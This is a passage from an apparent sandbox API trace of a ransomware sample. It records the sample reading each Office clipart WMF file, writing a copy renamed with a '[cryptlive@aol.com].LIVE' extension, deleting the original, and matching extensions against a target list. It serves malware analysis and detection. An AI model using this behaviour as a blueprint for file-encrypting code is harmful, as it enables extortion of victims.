dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0134.630] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=3228) returned 1 [0134.630] CloseHandle (hObject=0x36c) returned 1 [0134.630] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 0x20 [0134.669] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.717] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0134.780] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.780] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.780] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0134.780] GetLastError () returned 0x0 [0134.781] ReadFile (in: hFile=0x314, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0xc9c, lpOverlapped=0x0) returned 1 [0134.843] WriteFile (in: hFile=0x388, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xca0, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xca0, lpOverlapped=0x0) returned 1 [0134.844] ReadFile (in: hFile=0x314, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.844] WriteFile (in: hFile=0x388, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.844] SetEndOfFile (hFile=0x388) returned 1 [0134.845] CloseHandle (hObject=0x388) returned 1 [0134.845] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.845] SetEndOfFile (hFile=0x314) returned 1 [0134.853] CloseHandle (hObject=0x314) returned 1 [0134.853] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.853] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an04355_.wmf")) returned 1 [0134.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0134.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0134.854] lstrlenW (lpString=".doc") returned 4 [0134.854] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.854] lstrlenW (lpString=".docx") returned 5 [0134.854] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.854] lstrlenW (lpString=".pdf") returned 4 [0134.854] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.854] lstrlenW (lpString=".xls") returned 4 [0134.854] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.854] lstrlenW (lpString=".xlsx") returned 5 [0134.854] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.854] lstrlenW (lpString=".ppt") returned 4 [0134.854] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.854] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0134.854] lstrlenW (lpString=".zip") returned 4 [0134.854] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.854] lstrlenW (lpString=".rar") returned 4 [0134.854] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.854] lstrlenW (lpString=".bz2") returned 4 [0134.854] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.854] lstrlenW (lpString=".7z") returned 3 [0134.854] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0134.855] lstrlenW (lpString=".dbf") returned 4 [0134.855] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0134.855] lstrlenW (lpString=".1cd") returned 4 [0134.855] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0134.855] lstrlenW (lpString=".jpg") returned 4 [0134.855] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0134.855] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0134.855] lstrlenW (lpString=".doc") returned 4 [0134.855] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.855] lstrlenW (lpString=".docx") returned 5 [0134.855] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.855] lstrlenW (lpString=".pdf") returned 4 [0134.855] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.856] lstrlenW (lpString=".xls") returned 4 [0134.856] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.856] lstrlenW (lpString=".xlsx") returned 5 [0134.856] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.856] lstrlenW (lpString=".ppt") returned 4 [0134.856] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0134.856] lstrlenW (lpString=".zip") returned 4 [0134.856] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.856] lstrlenW (lpString=".rar") returned 4 [0134.856] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.856] lstrlenW (lpString=".bz2") returned 4 [0134.856] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.856] lstrlenW (lpString=".7z") returned 3 [0134.856] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0134.856] lstrlenW (lpString=".dbf") returned 4 [0134.856] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0134.856] lstrlenW (lpString=".1cd") returned 4 [0134.856] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN04355_.WMF") returned 63 [0134.856] lstrlenW (lpString=".jpg") returned 4 [0134.856] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.856] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0134.856] lstrlenW (lpString="BD00155_.WMF") returned 12 [0134.856] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0134.857] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=11636) returned 1 [0134.857] CloseHandle (hObject=0x314) returned 1 [0134.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 0x20 [0134.857] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0134.858] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.858] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0134.858] GetLastError () returned 0x0 [0134.858] ReadFile (in: hFile=0x314, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x2d74, lpOverlapped=0x0) returned 1 [0134.866] WriteFile (in: hFile=0x388, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x2d80, lpOverlapped=0x0) returned 1 [0134.868] ReadFile (in: hFile=0x314, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.868] WriteFile (in: hFile=0x388, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.868] SetEndOfFile (hFile=0x388) returned 1 [0134.875] CloseHandle (hObject=0x388) returned 1 [0134.875] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.875] SetEndOfFile (hFile=0x314) returned 1 [0134.895] CloseHandle (hObject=0x314) returned 1 [0134.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.934] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00155_.wmf")) returned 1 [0134.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0134.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0134.935] lstrlenW (lpString=".doc") returned 4 [0134.935] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.935] lstrlenW (lpString=".docx") returned 5 [0134.935] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.935] lstrlenW (lpString=".pdf") returned 4 [0134.935] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.935] lstrlenW (lpString=".xls") returned 4 [0134.935] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.935] lstrlenW (lpString=".xlsx") returned 5 [0134.935] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.935] lstrlenW (lpString=".ppt") returned 4 [0134.935] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0134.935] lstrlenW (lpString=".zip") returned 4 [0134.935] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.935] lstrlenW (lpString=".rar") returned 4 [0134.935] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.935] lstrlenW (lpString=".bz2") returned 4 [0134.935] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.935] lstrlenW (lpString=".7z") returned 3 [0134.935] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0134.935] lstrlenW (lpString=".dbf") returned 4 [0134.935] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.935] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0134.936] lstrlenW (lpString=".1cd") returned 4 [0134.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0134.936] lstrlenW (lpString=".jpg") returned 4 [0134.936] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0134.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0134.936] lstrlenW (lpString=".doc") returned 4 [0134.936] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.936] lstrlenW (lpString=".docx") returned 5 [0134.936] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.936] lstrlenW (lpString=".pdf") returned 4 [0134.936] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.936] lstrlenW (lpString=".xls") returned 4 [0134.936] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.936] lstrlenW (lpString=".xlsx") returned 5 [0134.936] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.936] lstrlenW (lpString=".ppt") returned 4 [0134.936] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0134.936] lstrlenW (lpString=".zip") returned 4 [0134.936] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.936] lstrlenW (lpString=".rar") returned 4 [0134.936] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.936] lstrlenW (lpString=".bz2") returned 4 [0134.936] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.936] lstrlenW (lpString=".7z") returned 3 [0134.936] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0134.936] lstrlenW (lpString=".dbf") returned 4 [0134.936] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0134.936] lstrlenW (lpString=".1cd") returned 4 [0134.936] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.936] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00155_.WMF") returned 63 [0134.936] lstrlenW (lpString=".jpg") returned 4 [0134.937] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.937] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0134.937] lstrlenW (lpString="BD00160_.WMF") returned 12 [0134.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0134.944] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=22516) returned 1 [0134.944] CloseHandle (hObject=0x314) returned 1 [0134.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 0x20 [0134.948] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0134.948] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.948] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.948] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0134.949] GetLastError () returned 0x0 [0134.949] ReadFile (in: hFile=0x388, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x57f4, lpOverlapped=0x0) returned 1 [0134.951] WriteFile (in: hFile=0x39c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x5800, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0x5800, lpOverlapped=0x0) returned 1 [0134.952] ReadFile (in: hFile=0x388, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x314fed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x314fed4*=0x0, lpOverlapped=0x0) returned 1 [0134.952] WriteFile (in: hFile=0x39c, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x314fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x314fc9c*=0xec, lpOverlapped=0x0) returned 1 [0134.952] SetEndOfFile (hFile=0x39c) returned 1 [0134.953] CloseHandle (hObject=0x39c) returned 1 [0134.953] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x314fec8 | out: lpNewFilePointer=0x0) returned 1 [0134.953] SetEndOfFile (hFile=0x388) returned 1 [0134.955] CloseHandle (hObject=0x388) returned 1 [0134.956] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0134.956] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00160_.wmf")) returned 1 [0134.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0134.956] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0134.956] lstrlenW (lpString=".doc") returned 4 [0134.956] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.956] lstrlenW (lpString=".docx") returned 5 [0134.956] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.956] lstrlenW (lpString=".pdf") returned 4 [0134.956] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.956] lstrlenW (lpString=".xls") returned 4 [0134.956] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.956] lstrlenW (lpString=".xlsx") returned 5 [0134.957] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.957] lstrlenW (lpString=".ppt") returned 4 [0134.957] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0134.957] lstrlenW (lpString=".zip") returned 4 [0134.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.957] lstrlenW (lpString=".rar") returned 4 [0134.957] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.957] lstrlenW (lpString=".bz2") returned 4 [0134.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.957] lstrlenW (lpString=".7z") returned 3 [0134.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0134.957] lstrlenW (lpString=".dbf") returned 4 [0134.957] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0134.957] lstrlenW (lpString=".1cd") returned 4 [0134.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0134.957] lstrlenW (lpString=".jpg") returned 4 [0134.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0134.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0134.958] lstrlenW (lpString=".doc") returned 4 [0134.958] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0134.958] lstrlenW (lpString=".docx") returned 5 [0134.958] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0134.958] lstrlenW (lpString=".pdf") returned 4 [0134.958] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0134.958] lstrlenW (lpString=".xls") returned 4 [0134.958] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0134.958] lstrlenW (lpString=".xlsx") returned 5 [0134.958] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0134.958] lstrlenW (lpString=".ppt") returned 4 [0134.958] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0134.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0134.958] lstrlenW (lpString=".zip") returned 4 [0134.958] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0134.958] lstrlenW (lpString=".rar") returned 4 [0134.958] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0134.958] lstrlenW (lpString=".bz2") returned 4 [0134.958] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0134.958] lstrlenW (lpString=".7z") returned 3 [0134.958] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0134.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0134.958] lstrlenW (lpString=".dbf") returned 4 [0134.958] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0134.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0134.958] lstrlenW (lpString=".1cd") returned 4 [0134.958] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0134.958] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00160_.WMF") returned 63 [0134.958] lstrlenW (lpString=".jpg") returned 4 [0134.958] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0134.959] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0134.959] lstrlenW (lpString="BD00173_.WMF") returned 12 [0134.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0134.959] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x314ff1c | out: lpFileSize=0x314ff1c*=16180) returned 1 [0134.959] CloseHandle (hObject=0x388) returned 1 [0134.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf")) returned 0x20 [0134.959] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BD00173_.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bd00173_.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0134.959] CreateFileW 